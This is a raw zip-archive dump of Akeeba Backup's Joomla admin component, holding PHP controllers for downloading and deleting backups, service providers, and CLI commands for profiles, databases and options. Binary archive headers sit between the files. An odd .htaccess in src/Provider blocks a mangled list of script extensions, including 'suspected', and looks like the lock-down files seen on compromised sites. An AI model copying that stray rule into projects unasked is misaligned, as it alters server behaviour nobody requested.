			}
		}

		$basename  = @basename($filename);
		$filesize  = @filesize($filename);
		$extension = strtolower(str_replace(".", "", strrchr($filename, ".")));

		/** @noinspection PhpStatementHasEmptyBodyInspection */
		while (@ob_end_clean())
		{
		}

		@clearstatcache();

		// Send MIME headers
		header('MIME-Version: 1.0');
		header('Content-Disposition: attachment; filename="' . $basename . '"');
		header('Content-Transfer-Encoding: binary');
		header('Accept-Ranges: bytes');

		switch ($extension)
		{
			case 'zip':
				// ZIP MIME type
				header('Content-Type: application/zip');
				break;

			default:
				// Generic binary data MIME type
				header('Content-Type: application/octet-stream');
				break;
		}

		// Notify of filesize, if this info is available
		if ($filesize > 0)
		{
			header('Content-Length: ' . @filesize($filename));
		}

		// Disable caching
		header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
		header("Expires: 0");
		header('Pragma: no-cache');

		if (!$this->noFlush)
		{
			flush();
		}

		if (!$filesize)
		{
			// If the filesize is not reported, hope that readfile works
			@readfile($filename);

			$this->app->close();
		}

		// If the filesize is reported, use 1M chunks for echoing the data to the browser
		$blocksize = 1048576; //1M chunks
		$handle    = @fopen($filename, "r");

		// Now we need to loop through the file and echo out chunks of file data
		if ($handle !== false)
		{
			while (!@feof($handle))
			{
				echo @fread($handle, $blocksize);

				@ob_flush();

				if (!$this->noFlush)
				{
					flush();
				}
			}
		}

		if ($handle !== false)
		{
			@fclose($handle);
		}

		$this->app->close();
	}

	public function delete()
	{
		$this->checkToken();

		// Get items to publish from the request.
		$ids = $this->input->get('cid', [], 'array');

		if (empty($ids))
		{
			$this->setRedirect(
				Uri::base() . 'index.php?option=com_akeebabackup&view=Manage',
				Text::_('COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID'), 'error'
			);

			return;
		}

		foreach ($ids as $id)
		{
			try
			{
				$msg    = Text::_('COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID');
				$result = false;

				if ($id > 0)
				{
					/** @var StatisticModel $model */
					$model  = $this->getModel('Statistic', 'Administrator');
					$result = $model->delete($id);
				}

			}
			catch (\RuntimeException $e)
			{
				$result = false;
				$msg    = $e->getMessage();
			}

			if (!$result)
			{
				$this->setRedirect(Uri::base() . 'index.php?option=com_akeebabackup&view=Manage', $msg, 'error');

				return;
			}
		}

		$this->setRedirect(
			Uri::base() . 'index.php?option=com_akeebabackup&view=Manage',
			Text::_('COM_AKEEBABACKUP_BUADMIN_MSG_DELETED')
		);
	}

	public function deletefiles()
	{
		$this->checkToken();

		// Get items to publish from the request.
		$ids = $this->input->get('cid', [], 'array');

		if (empty($ids))
		{
			$this->setRedirect(
				Uri::base() . 'index.php?option=com_akeebabackup&view=Manage',
				Text::_('COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID'), 'error'
			);

			return;
		}

		foreach ($ids as $id)
		{
			try
			{
				$msg    = Text::_('COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID');
				$result = false;

				if ($id > 0)
				{
					/** @var StatisticModel $model */
					$model  = $this->getModel('Statistic', 'Administrator');
					$result = $model->deleteFiles($id);
				}
			}
			catch (\RuntimeException $e)
			{
				$result = false;
				$msg    = $e->getMessage();
			}

			if (!$result)
			{
				$this->setRedirect(Uri::base() . 'index.php?option=com_akeebabackup&view=Manage', $msg, 'error');

				return;
			}
		}

		$this->setRedirect(
			Uri::base() . 'index.php?option=com_akeebabackup&view=Manage',
			Text::_('COM_AKEEBABACKUP_BUADMIN_MSG_DELETEDFILE')
		);
	}

	public function hidemodal()
	{
		/** @var StatisticsModel $model */
		$model = $this->getModel('Statistics', 'Administrator');
		$model->hideRestorationInstructionsModal(
			$this->app->bootComponent('com_akeebabackup')->getComponentParametersService()
		);

		$this->setRedirect(Uri::base() . 'index.php?option=com_akeebabackup&view=Manage');
	}

}PK     \
ݜ      src/Provider/CacheCleaner.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * @package     Akeeba\Component\AkeebaBackup\Administrator\Provider
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Provider;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Service\CacheCleaner as CacheCleanerService;
use Joomla\CMS\Cache\CacheControllerFactoryInterface;
use Joomla\CMS\Factory;
use Joomla\DI\Container;
use Joomla\DI\ServiceProviderInterface;

class CacheCleaner implements ServiceProviderInterface
{
	public function register(Container $container)
	{
		$container->set(
			CacheCleanerService::class,
			function (Container $container) {
				$app = Factory::getApplication();

				return new CacheCleanerService(
					$app,
					$container->get(CacheControllerFactoryInterface::class)
				);
			}
		);
	}
}PK     \:n  n  $  src/Provider/ComponentParameters.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * @package     Akeeba\Component\AkeebaBackup\Administrator\Provider
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Provider;

defined('_JEXEC') || die;

use Joomla\DI\Container;
use Joomla\DI\ServiceProviderInterface;

class ComponentParameters implements ServiceProviderInterface
{
	private $defaultExtension;

	public function __construct(string $defaultExtension)
	{
		$this->defaultExtension = $defaultExtension;
	}

	public function register(Container $container)
	{
		$container->set(
			\Akeeba\Component\AkeebaBackup\Administrator\Service\ComponentParameters::class,
			function (Container $container) {
				return new \Akeeba\Component\AkeebaBackup\Administrator\Service\ComponentParameters(
					$container->get(\Akeeba\Component\AkeebaBackup\Administrator\Service\CacheCleaner::class),
					$this->defaultExtension
				);
			}
		);
	}
}PK     \@x{  {    src/Provider/RouterFactory.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Provider;

defined('_JEXEC') or die;

use Joomla\CMS\Component\Router\RouterFactoryInterface;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\DI\Container;
use Joomla\DI\ServiceProviderInterface;

class RouterFactory implements ServiceProviderInterface
{
	/**
	 * The module namespace
	 *
	 * @var     string
	 *
	 * @since   5.0.0
	 */
	private $namespace;

	/**
	 * Router factory constructor.
	 *
	 * @param   string  $namespace  The namespace
	 *
	 * @since   5.0.0
	 */
	public function __construct(string $namespace)
	{
		$this->namespace = $namespace;
	}

	/**
	 * @inheritDoc
	 */
	public function register(Container $container)
	{
		$container->set(
			RouterFactoryInterface::class,
			function (Container $container) {
				return new \Akeeba\Component\AkeebaBackup\Administrator\Router\RouterFactory(
					$this->namespace,
					$container->get(MVCFactoryInterface::class)
				);
			}
		);
	}

}PK     \Sʉ        src/Provider/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \sxY    !  src/CliCommands/ProfileDelete.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfileModel;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:profile:delete
 *
 * Delete an Akeeba Backup profile
 *
 * @since   7.5.0
 */
class ProfileDelete extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:profile:delete';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$id = (int) $this->cliInput->getArgument('id') ?? 0;

		if ($id === 1)
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_DEFAULT'));
		}

		/** @var ProfileModel $model */
		$model = $this->mvcFactory->createModel('Profile', 'Administrator');
		$table = $model->getTable();

		if (!$table->load($id))
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_NOTFOUND', $id));

			return 2;
		}

		try
		{
			$result = $table->delete($id);
			$error = null;
		}
		catch (\Exception $e)
		{
			$result = false;
			$error  = $e->getMessage();
		}

		if ($result === false && $error === null)
		{
			/** @deprecated 10.1.0 Only for Joomla 4 b/c. Remove in 11. */
			/** @noinspection PhpDeprecationInspection */
			$error = $table->getError();
		}

		if (!$result)
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_FAILED', $id, $error));

			return 3;
		}

		$this->ioStyle->success(Text::sprintf('COM_AKEEBABACKUP_CLI_PROFILE_DELETE_LBL_SUCCESS', $table->getId()));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('id', InputOption::VALUE_REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_DELETE_OPT_ID'));

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_PROFILE_DELETE_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_PROFILE_DELETE_HELP'));
	}
}
PK     \ez    )  src/CliCommands/FilterIncludeDatabase.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\FilterRoots;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\IsPro;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Component\AkeebaBackup\Administrator\Model\MultipledatabasesModel;
use Akeeba\Plugin\Console\AkeebaBackup\Helper\UUID4;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:filter:include-database
 *
 * Add an additional database to be backed up by Akeeba Backup.
 *
 * @since   7.5.0
 */
class FilterIncludeDatabase extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use IsPro;
	use FilterRoots;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:filter:include-database';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		if (!$this->isPro())
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_NEED_PRO'));

			return 1;
		}

		$profileId = (int) ($this->cliInput->getOption('profile') ?? 1);

		define('AKEEBA_PROFILE', $profileId);

		// Initialization
		$uuidObject = new UUID4(true);
		$uuid       = $uuidObject->get('-');
		$check      = (bool) $this->cliInput->getOption('check') ?? false;

		$data = [
			'driver'   => (string) $this->cliInput->getOption('dbdriver') ?? 'mysqli',
			'host'     => (string) $this->cliInput->getOption('dbhost') ?? 'localhost',
			'port'     => (int) $this->cliInput->getOption('port') ?? 0,
			'user'     => (string) $this->cliInput->getOption('dbusername') ?? '',
			'password' => (string) $this->cliInput->getOption('dbpassword') ?? '',
			'database' => (string) $this->cliInput->getOption('dbname') ?? '',
			'prefix'   => (string) $this->cliInput->getOption('dbprefix') ?? '',
		];

		$data['port'] = ($data['port'] === 0) ? null : $data['port'];

		// Does the database definition already exist?
		/** @var MultipledatabasesModel $model */
		$model = $this->getMVCFactory()->createModel('Multipledatabases', 'Administrator');

		if ($model->filterExists($data))
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_ALREADY_EXISTS', $data['database']));

			return 2;
		}

		// Can I connect to the database?
		$checkResults = $model->test($data);

		if ($check && !$checkResults['status'])
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_CANNOT_CONNECT', $data['database'], $checkResults['message']));

			return 3;
		}

		// Add the filter
		$setFilterResult = $model->setFilter($uuid, $data);

		if (!$setFilterResult['success'])
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_FAILED', $data['database']));

			return 4;
		}

		$this->ioStyle->success(Text::sprintf('COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_LBL_ADDED', $data['database']));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addOption('profile', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_PROFILE'), 1);
		$this->addOption('dbdriver', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBDRIVER'), 'mysqli');
		$this->addOption('dbport', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPORT'), null);
		$this->addOption('dbusername', null, InputOption::VALUE_REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBUSERNAME'));
		$this->addOption('dbpassword', null, InputOption::VALUE_REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPASSWORD'));
		$this->addOption('dbname', null, InputOption::VALUE_REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBNAME'));
		$this->addOption('dbprefix', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPREFIX'), null);
		$this->addOption('check', null, InputOption::VALUE_NONE, Text::_('COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_CHECK'));

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_HELP'));
	}
}
PK     \aH    "  src/CliCommands/BackupDownload.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Countable;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:backup:download
 *
 * Returns a backup archive part for a backup record known to Akeeba Backup
 *
 * @since   7.5.0
 */
class BackupDownload extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:backup:download';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$id      = (int) $this->cliInput->getArgument('id') ?? 0;
		$part    = (int) $this->cliInput->getArgument('part') ?? 0;
		$outFile = $this->cliInput->getOption('file');

		if (!empty($outFile))
		{
			$this->ioStyle->title(Text::sprintf('COM_AKEEBABACKUP_CLI_HEAD_BACKUP_DOWNLOAD', $part, $id));
		}

		if ($id <= 0)
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID'));

			return 1;
		}

		$stat         = Platform::getInstance()->get_statistics($id);
		$allFileNames = Factory::getStatistics()->get_all_filenames($stat);

		if (empty($allFileNames))
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_NO_FILES', $id));

			return 1;
		}

		/** @noinspection PhpConditionAlreadyCheckedInspection */
		if (is_null($allFileNames))
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_NO_FILES_MAYBE_REMOTE', $id));

			return 2;
		}

		if (($part >= (is_array($allFileNames) || $allFileNames instanceof Countable ? count($allFileNames) : 0)) || !isset($allFileNames[$part]))
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_OUT_OF_RANGE', $part, $id));

			return 3;
		}

		$fileName = $allFileNames[$part];

		if (!@file_exists($fileName))
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_MISSING', $part, $id));

			return 4;
		}

		$basename  = @basename($fileName);
		$fileSize  = @filesize($fileName);
		$extension = strtolower(str_replace(".", "", strrchr($fileName, ".")));

		if (empty($outFile))
		{
			readfile($fileName);

			return 0;
		}

		if (is_dir($outFile))
		{
			$outFile = rtrim($outFile, '/\\') . DIRECTORY_SEPARATOR . $basename;
		}
		else
		{
			$dotPos  = strrpos($outFile, '.');
			$outFile = ($dotPos === false) ? $outFile : (substr($outFile, 0, $dotPos) . '.' . $extension);
		}

		// Read in 1M chunks
		$blocksize = 1048576;
		$handle    = @fopen($fileName, "r");

		if ($handle === false)
		{
			$this->ioStyle->error(text::sprintf('COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_UNREADABLE', $fileName));

			return 5;
		}

		$fp = @fopen($outFile, 'w');

		if ($fp === false)
		{
			fclose($handle);

			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_UNWRITEABLE', $outFile));

			return 6;
		}

		$progress    = $this->ioStyle->createProgressBar($fileSize);
		$runningSize = 0;
		$progress->display();

		while (!@feof($handle))
		{
			$data        = @fread($handle, $blocksize);
			$readLength  = strlen($data);
			$runningSize += $readLength;

			fwrite($fp, $data);

			$progress->setProgress($readLength);
		}

		$progress->finish();

		$this->ioStyle->newLine(2);

		@fclose($handle);
		@fclose($fp);

		$this->ioStyle->success(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_BACKUP_DOWNLOAD_DONE', $part, $id, $outFile));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('id', InputArgument::REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_ID'));
		$this->addArgument('part', InputArgument::OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_PART'));
		$this->addOption('file', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_FILE'));
		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_HELP'));
	}
}
PK     \F      src/CliCommands/OptionsList.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\JsonGuiDataParser;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfileModel;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:option:list
 *
 * Lists the configuration options for an Akeeba Backup profile, including their titles
 *
 * @since   7.5.0
 */
class OptionsList extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use JsonGuiDataParser;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:option:list';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$profileId = (int) ($this->cliInput->getOption('profile') ?? 1);

		define('AKEEBA_PROFILE', $profileId);

		$format = (string) $this->cliInput->getOption('format') ?? 'table';

		/** @var ProfileModel $model */
		$model   = $this->getMVCFactory()->createModel('Profile', 'Administrator');
		$table   = $model->getTable();
		$didLoad = $table->load($profileId);

		if (!$didLoad)
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_PROFILE', $profileId));

			return 1;
		}

		unset($table);
		unset($model);

		// Get the profile's configuration
		Platform::getInstance()->load_configuration($profileId);
		$config  = Factory::getConfiguration();
		$rawJson = $config->exportAsJSON();

		unset($config);

		// Get the key information from the GUI data
		$info = $this->parseJsonGuiData();

		// Convert the INI data we got into an array we can print
		$rawValues = json_decode($rawJson, true);

		unset($rawJson);

		$output = [];

		$rawValues = $this->flattenOptions($rawValues);

		foreach ($rawValues as $key => $v)
		{
			$output[$key] = array_merge([
				'key'          => $key,
				'value'        => $v,
				'title'        => '',
				'description'  => '',
				'type'         => '',
				'default'      => '',
				'section'      => '',
				'options'      => [],
				'optionTitles' => [],
				'limits'       => [],
			], $this->getOptionInfo($key, $info));
		}

		// Filter the returned options
		$filter = (string) $this->cliInput->getOption('filter') ?? '';

		$output = array_filter($output, function ($item) use ($filter) {
			if (!empty($filter) && strpos($item['key'], $filter) === false)
			{
				return false;
			}

			return $item['type'] != 'hidden';
		});

		// Sort the results
		$sort  = (string) $this->cliInput->getOption('sort-by') ?? 'none';
		$order = (string) $this->cliInput->getOption('sort-order') ?? 'asc';

		if ($sort != 'none')
		{
			usort($output, function ($a, $b) use ($sort, $order) {
				if ($a[$sort] == $b[$sort])
				{
					return 0;
				}

				$signChange = ($order == 'asc') ? 1 : -1;
				$isGreater  = $a[$sort] > $b[$sort] ? 1 : -1;

				return $signChange * $isGreater;
			});
		}

		// Output the list
		if (empty($output))
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_LIST_ERR_NO_SUCH_OPTION'));

			return 2;
		}

		if ($format === 'table')
		{
			$output = array_map(function (array $optionDef) {
				return array_map(function ($value) {
					return is_array($value) ? implode(', ', $value) : $value;
				}, $optionDef);
			}, $output);
		}

		return $this->printFormattedAndReturn($output, $format);
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addOption('profile', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_PROFILE'), 1);
		$this->addOption('filter', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_FILTER'), '');
		$this->addOption('sort-by', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_SORT_BY'), 'none');
		$this->addOption('sort-order', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_SORT_ORDER'), 'desc');
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_FORMAT'), 'table');

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_LIST_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_LIST_HELP'));
	}
}
PK     \F    !  src/CliCommands/SysconfigList.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ComponentOptions;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:sysconfig:list
 *
 * Lists the Akeeba Backup component-wide options
 *
 * @since   7.5.0
 */
class SysconfigList extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use ComponentOptions;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
